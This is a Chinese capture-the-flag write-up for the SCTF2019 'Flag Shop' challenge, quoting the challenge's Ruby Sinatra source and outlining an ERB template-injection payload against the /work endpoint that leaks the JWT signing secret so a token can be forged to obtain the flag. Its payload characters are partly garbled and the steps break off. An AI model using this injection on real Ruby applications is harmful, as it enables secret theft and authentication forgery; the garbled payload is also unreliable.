[SCTF2019]Flag Shop

[SCTF2019]Flag Shop

解题

  1. 使用robots.txt,看到/static/secretkey.txt,但是源码在filebak中,不知道为什么

    ruby 复制代码
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    ENV["SECRET"] = SecureRandom.hex(64)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      en
    end
  2. 语法为Ruby的语法所以思路为Ruby模版注入。

    ruby 复制代码
      if params[:do] == "#{params[:name][0,7]} is working" then
     
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    发现secret的输出方式,其中ruby预定义变量里,在$'后会最后一次匹配字符串,所以进入代码后is working不被ruby代码解析,然后使用ERB模版进行注入。

    所以传入/work?SECRET=&name=<%= ′ '%>&do=<%= ′'%>is working

    得到:

    构造后,

将jwt解码得到flag

相关推荐
芜狄5 小时前
UCOSIII移植——学习笔记1
笔记·嵌入式硬件·学习·stm32f103rct6·ucosiii实时操作系统
Cellular_Modem笔记6 小时前
5G NR-NTN协议学习系列:NR-NTN介绍(2)
学习·5g·ntn
ooo-p6 小时前
FPGA学习篇——Verilog学习Led灯的实现
学习·fpga开发
_hermit:7 小时前
【从零开始java学习|小结】记录学习和编程中的问题
java·学习
屁股割了还要学7 小时前
【数据结构入门】排序算法(4)归并排序
c语言·数据结构·学习·算法·排序算法
内心如初8 小时前
应急响应事件处理(网络安全体系架构与应急响应的前置知识)
安全·web安全
武昌库里写JAVA8 小时前
Mac下Python3安装
java·vue.js·spring boot·sql·学习
程序员东岸11 小时前
C语言入门指南:字符函数和字符串函数
c语言·笔记·学习·程序人生·算法
潘潘潘潘潘潘潘潘潘潘潘潘11 小时前
【MySQL】从零开始学习MySQL:基础与安装指南
linux·运维·服务器·数据库·学习·mysql
东风西巷11 小时前
全能的3D创作平台,Blender(免费开源3D建模工具)
学习·3d·开源·blender·软件需求